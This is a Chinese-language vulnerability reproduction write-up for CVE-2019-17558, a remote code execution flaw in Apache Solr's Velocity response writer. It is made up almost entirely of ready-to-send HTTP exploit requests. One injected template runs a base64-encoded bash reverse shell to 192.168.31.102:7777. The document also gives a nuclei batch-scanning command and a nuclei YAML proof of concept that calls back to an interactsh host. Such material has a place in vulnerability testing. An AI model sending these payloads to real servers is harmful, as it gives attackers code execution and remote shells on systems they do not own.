漏洞复现 CVE-2019-17558 solr RCE

POST /solr/demo/config HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 259
{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}

GET /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjEwMi83Nzc3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1Host: x.x.x.x:8983User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1#备注：exec(%27命令%27))

批量验证命令：nuclei.exe -l subs.txt -t cves/2019/CVE-2019-17558.yaml
yaml POC：id: CVE-2019-17558
info:  name: Apache Solr <=8.3.1 - Remote Code Execution  author: pikpikcu,madrobot  severity: high  description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).  reference:    - https://issues.apache.org/jira/browse/SOLR-13971    - https://nvd.nist.gov/vuln/detail/CVE-2019-17558    - https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E  classification:    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H    cvss-score: 7.5    cve-id: CVE-2019-17558    cwe-id: CWE-74  tags: cve,cve2019,apache,rce,solr,oast,cisa
requests:  - raw:      - |        GET /solr/admin/cores?wt=json HTTP/1.1        Host: {{Hostname}}
      - |        POST /solr/{{core}}/config HTTP/1.1        Host: {{Hostname}}        Content-Type: application/json
        {            "update-queryresponsewriter": {              "startup": "lazy",              "name": "velocity",              "class": "solr.VelocityResponseWriter",              "template.base.dir": "",              "solr.resource.loader.enabled": "true",              "params.resource.loader.enabled": "true"            }        }
      - |        GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20http://{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1        Host: {{Hostname}}        Connection: close
    matchers-condition: and    matchers:      - type: word        part: interactsh_protocol  # Confirms the HTTP Interaction        words:          - "http"
      - type: status        status:          - 200
    extractors:      - type: regex        internal: true        name: core        group: 1        regex:          - '"name":"(.*?)"'